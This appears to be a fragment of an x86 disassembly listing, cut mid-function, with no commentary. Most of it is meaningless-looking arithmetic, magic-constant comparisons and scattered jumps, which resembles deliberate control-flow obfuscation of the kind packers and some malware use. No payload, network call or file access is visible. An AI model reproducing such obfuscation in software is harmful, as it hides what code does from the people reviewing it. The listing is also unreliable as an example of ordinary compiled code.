movzx eax, word [ebp - 0x12fc]
push eax
movzx ecx, word [ebp - 0x12f4]
push ecx
movzx edx, word [ebp - 0x1300]
push edx
call fcn.00581c00
nop
cmp dword [ebp - 0x4f60], 0xd34f89f1
jae 0x421a3c
mov al, byte [0x5a8004]
mov byte [ebp - 0x4f78], al
cmp byte [ebp - 0x4f78], 0x52
je 0x4219c1
jmp 0x421a25
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [0x5a8004]
and ecx, edx
mov byte [ebp - 0x17a], cl
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
sub eax, ecx
mov byte [0x5a8004], al
movsx edx, word [ebp - 0x12f8]
sub edx, 0x1491
mov word [ebp - 0x12f8], dx
mov eax, dword [ebp - 0x4f60]
add eax, 0xf23319ef
mov dword [ebp - 0x4f60], eax
movzx ecx, word [ebp - 0x12fc]
push ecx
push 0x77
call fcn.00581f00
add esp, 8
jmp 0x421a3c
movzx edx, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12f4]
sar edx, cl
mov word [ebp - 0x12fc], dx
mov dword [ebp - 0x4f7c], 0x5bf3b5c3
mov dword [ebp - 0x4f80], 0x62aa
mov dword [ebp - 0x4f84], 0x11a14
mov dword [ebp - 0x4f88], 0xe418
lea eax, [ebp - 0x17a]
mov dword [0x5a9b60], eax
mov dword [ebp - 0x4f8c], 0xd046
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1300]
or ecx, edx
mov word [ebp - 0x12f4], cx
mov byte [ebp - 0x17b], 0xbd
mov dword [ebp - 0x4f90], 0x7ca9
mov dword [ebp - 0x4f94], 0x8ff3
mov dword [ebp - 0x4f98], 0x6abb
cmp dword [ebp - 0x4f7c], 0x2866a051
jge 0x421af5
mov eax, dword [ebp - 0x4f7c]
sub eax, 0xf58997
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x4f60]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
mov eax, dword [ebp - 0x4f7c]
push eax
call fcn.00581290
add esp, 0xc
jmp 0x5811e0
mov ecx, dword [ebp - 0x4f7c]
add ecx, 0x7fde942b
mov dword [ebp - 0x4f7c], ecx
movsx edx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x140]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x17b]
add edx, 0xcb
mov byte [ebp - 0x17b], dl
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movsx eax, word [ebp - 0x12f8]
add eax, 0x5a47
mov word [ebp - 0x12f8], ax
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17a]
and ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
movsx ecx, byte [0x5a8004]
movsx edx, byte [ebp - 0x140]
add ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
or edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movzx edx, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x12fc]
sar edx, cl
mov word [ebp - 0x1300], dx
movzx eax, byte [ebp - 0x17b]
xor eax, 0xaf
mov byte [ebp - 0x17b], al
movsx edx, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
shl edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4f60]
sub ecx, 0x8d7fbcdf
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4f7c]
and edx, 0x5d5b9862
mov dword [ebp - 0x4f7c], edx
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4f64]
add eax, 0x7f
mov dword [ebp - 0x4f64], eax
movsx ecx, byte [ebp - 0x17a]
movsx edx, byte [ebp - 0x140]
add ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x17b]
add ecx, 0x55
mov byte [ebp - 0x17b], cl
cmp dword [ebp - 0x4f64], 0x8b67
jb 0x421af5
cmp dword [ebp - 0x4f98], 0x86d5
jae 0x421fae
mov edx, dword [ebp - 0x4f60]
sub edx, 0x26a13f44
mov dword [ebp - 0x4f60], edx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x140]
add ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4f7c]
and eax, 0x72b50cdb
mov dword [ebp - 0x4f7c], eax
movsx ecx, word [ebp - 0x12f8]
sar ecx, 1
mov word [ebp - 0x12f8], cx
movsx edx, byte [ebp - 0x140]
movsx eax, byte [ebp - 0x17a]
xor edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x140]
movsx eax, byte [ebp - 0x17a]
or edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12f4]
shl edx, cl
mov word [ebp - 0x12fc], dx
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x140]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4f60]
add eax, 0x7a12b31c
mov dword [ebp - 0x4f60], eax
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x12f4]
and ecx, edx
mov word [ebp - 0x1300], cx
movzx eax, byte [ebp - 0x17b]
sub eax, 0xd4
mov byte [ebp - 0x17b], al
mov ecx, dword [ebp - 0x4f7c]
add ecx, 0x37cafc2d
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4f60]
sub edx, 0xe51efa8e
mov dword [ebp - 0x4f60], edx
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x140]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12f4]
sub eax, ecx
mov word [ebp - 0x12fc], ax
mov edx, dword [ebp - 0x4f98]
add edx, 0x6d
mov dword [ebp - 0x4f98], edx
movzx eax, byte [ebp - 0x17b]
add eax, 0x51
mov byte [ebp - 0x17b], al
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x140]
add edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
sar eax, cl
mov ecx, dword [0x5a9b60]
mov byte [ecx], al
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
xor eax, ecx
mov byte [ebp - 0x17a], al
movsx edx, word [ebp - 0x12f8]
shl edx, 0xd
mov word [ebp - 0x12f8], dx
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
or eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movzx eax, word [ebp - 0x12fc]
movzx ecx, word [ebp - 0x1300]
and eax, ecx
mov word [ebp - 0x12f4], ax
movsx edx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x140]
sub edx, eax
mov byte [0x5a8004], dl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x140]
add edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x140]
and edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4f60]
sub edx, 0x15322cde
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4f7c]
add eax, 0x2318d072
mov dword [ebp - 0x4f7c], eax
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17a]
sub ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1300]
movzx edx, word [ebp - 0x12f4]
add ecx, edx
mov word [ebp - 0x12fc], cx
mov eax, dword [ebp - 0x4f7c]
sub eax, 0x3f49654
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x17a]
shl edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x17a]
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
or ecx, eax
mov byte [0x5a8004], cl
mov ecx, dword [ebp - 0x4f7c]
xor ecx, 0x2ab69afb
mov dword [ebp - 0x4f7c], ecx
movsx edx, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
sar edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
jmp 0x421c67
mov cx, word [ebp - 0x12fc]
mov word [ebp - 0x1304], cx
movsx edx, word [ebp - 0x12f8]
and edx, 0x7a61
mov word [ebp - 0x1208], dx
mov dword [ebp - 0x4f9c], 0xfcbb
cmp dword [ebp - 0x4f84], 0xf7e8
jb 0x422237
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x140]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17a]
sub ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x17b]
add ecx, 8
mov byte [ebp - 0x17b], cl
movsx edx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x140]
and edx, eax
mov byte [0x5a8004], dl
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17a]
add ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4f7c]
sub ecx, 0x4636a8b
mov dword [ebp - 0x4f7c], ecx
movsx edx, byte [ebp - 0x140]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4f60]
add edx, 0xa9f3cf4e
mov dword [ebp - 0x4f60], edx
movzx eax, byte [ebp - 0x17b]
xor eax, 0x3b
mov byte [ebp - 0x17b], al
movzx edx, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12fc]
shl edx, cl
mov word [ebp - 0x12f4], dx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17a]
or ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x140]
sar edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x140]
and edx, eax
mov byte [0x5a8004], dl
mov ecx, dword [ebp - 0x4f7c]
add ecx, 0x6d2051f5
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4f7c]
sub edx, 0x268760ef
mov dword [ebp - 0x4f7c], edx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17a]
add ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x17b]
add edx, 0x23
mov byte [ebp - 0x17b], dl
mov eax, dword [ebp - 0x4f84]
sub eax, 0x6c
mov dword [ebp - 0x4f84], eax
movzx ecx, word [ebp - 0x1300]
movzx edx, word [ebp - 0x1304]
and ecx, edx
mov word [ebp - 0x12fc], cx
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [0x5a8004]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4f7c]
add eax, 0x31340c83
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov byte [0x5a8004], dl
movsx edx, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
shl edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4f60]
xor ecx, 0x7a15ce2a
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4f7c]
or edx, 0x521a9b09
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4f7c]
sar eax, 7
mov dword [ebp - 0x4f7c], eax
jmp 0x421fda
lea ecx, [ebp - 0x4f60]
mov dword [ebp - 0x4fa0], ecx
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
mov dword [ebp - 0x4fa4], eax
cmp dword [ebp - 0x4fa4], 0x1f4a2b96
je 0x42225f
jmp 0x4222ca
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4f60]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fa8], ecx
cmp dword [ebp - 0x4fa8], 0x75c580dd
je 0x422291
jmp 0x4222a7
movsx edx, byte [ebp - 0x140]
movsx eax, byte [0x5a8004]
add edx, eax
mov byte [ebp - 0x17a], dl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov byte [0x5a8004], dl
call fcn.005816b0
nop
jmp 0x58118f
movsx ecx, word [ebp - 0x1208]
mov dword [ebp - 0x4fac], ecx
cmp dword [ebp - 0x4fac], 0
je 0x4222f5
cmp dword [ebp - 0x4fac], 0x43e7
je 0x5810e6
jmp 0x581147
lea edx, [ebp - 0x4f60]
mov dword [ebp - 0x4fb0], edx
mov eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], eax
mov dword [ebp - 0x4fb8], 0x113e8
movsx ecx, word [ebp - 0x12f8]
mov dword [ebp - 0x4fbc], ecx
cmp dword [ebp - 0x4fbc], 0x67f6
je 0x422332
jmp 0x422379
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4f60]
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4f60]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
jmp 0x58105c
lea edx, [ebp - 0x4f7c]
mov dword [ebp - 0x4fc0], edx
cmp dword [ebp - 0x4f54], 0xf131
jae 0x4226a4
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
movzx eax, word [ebp - 0x12fc]
movzx ecx, word [ebp - 0x1300]
add eax, ecx
mov word [ebp - 0x12f4], ax
movzx edx, byte [ebp - 0x17b]
add edx, 0x98
mov byte [ebp - 0x17b], dl
mov eax, dword [ebp - 0x4f7c]
add eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x17a]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x5a8004], dl
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x12fc]
movzx ecx, word [ebp - 0x1300]
sar eax, cl
mov word [ebp - 0x12f4], ax
mov ecx, dword [ebp - 0x4f7c]
or ecx, dword [ebp - 0x4fb4]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4f60]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4f7c]
shl eax, cl
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], eax
movsx ecx, byte [ebp - 0x17a]
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x5a8004], cl
movzx ecx, byte [ebp - 0x17b]
and ecx, 0xbc
mov byte [ebp - 0x17b], cl
mov edx, dword [ebp - 0x4f54]
add edx, 0x23
mov dword [ebp - 0x4f54], edx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [edx]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
movsx edx, word [ebp - 0x12f8]
add edx, 0x26d5
mov word [ebp - 0x1208], dx
mov eax, dword [ebp - 0x4f7c]
add eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movzx eax, word [ebp - 0x12fc]
movzx ecx, word [ebp - 0x1304]
shl eax, cl
mov word [ebp - 0x1300], ax
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4f60]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x12f4]
movzx edx, word [ebp - 0x1304]
or ecx, edx
mov word [ebp - 0x12fc], cx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4f60]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [eax]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4f60]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
and eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x140]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x5a8004], dl
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1300]
add eax, ecx
mov word [ebp - 0x12fc], ax
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
jmp 0x422385
mov dl, byte [ebp - 0x17b]
mov byte [ebp - 0x4fc4], dl
cmp byte [ebp - 0x4fc4], 0x84
je 0x4226cb
cmp byte [ebp - 0x4fc4], 0xf9
je 0x42277a
jmp 0x4227ca
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fb0]
cmp ecx, dword [edx]
jbe 0x4226f7
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], ecx
mov dl, byte [ebp - 0x140]
mov byte [ebp - 0x17c], dl
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
mov dword [ebp - 0x4fc8], ecx
cmp dword [ebp - 0x4fc8], 0x6b222b8b
je 0x42271f
jmp 0x422752
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
movzx edx, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1300]
sar edx, cl
mov word [ebp - 0x12fc], dx
jmp 0x422778
mov al, byte [ebp - 0x17b]
mov byte [ebp - 0x17d], al
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
mov dword [0x5a9b64], edx
lea eax, [ebp - 0x4f60]
mov dword [ebp - 0x4fcc], eax
jmp 0x4227ca
mov ecx, dword [ebp - 0x4fb4]
or ecx, dword [0x5a9b64]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
and eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fb4]
sub edx, dword [0x5a9b64]
mov dword [ebp - 0x4f7c], edx
mov dword [ebp - 0x4fd0], 0x6f48
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12fc]
add eax, ecx
mov word [ebp - 0x1304], ax
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb4]
and eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17c]
sub eax, ecx
mov byte [0x5a8004], al
mov edx, dword [ebp - 0x4fb4]
sub edx, dword [ebp - 0x4f7c]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fb4]
add edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb4]
xor ecx, dword [ebp - 0x4f7c]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4fb4]
shl edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb4]
or ecx, dword [0x5a9b64]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4f60]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb4]
and ecx, dword [0x5a9b64]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17c]
add ecx, edx
mov byte [0x5a8004], cl
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1300]
sub eax, ecx
mov word [ebp - 0x1304], ax
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4f7c]
add edx, dword [ebp - 0x4fb4]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [0x5a9b64]
add eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [0x5a9b64]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [0x5a8004]
xor edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fcc]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fc0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4f7c]
sar edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], edx
movsx eax, byte [ebp - 0x17a]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x140], al
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4f60]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12fc]
add eax, ecx
mov word [ebp - 0x12f4], ax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
add eax, dword [ebp - 0x4f60]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [edx]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fcc]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1304]
movzx eax, word [ebp - 0x1300]
and edx, eax
mov word [ebp - 0x12fc], dx
mov ecx, dword [ebp - 0x4f80]
add ecx, 0x80
mov dword [ebp - 0x4f80], ecx
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fb4]
sar edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fb4]
or edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f60]
shl edx, cl
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17d]
add ecx, 0x3b
mov byte [ebp - 0x17b], cl
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
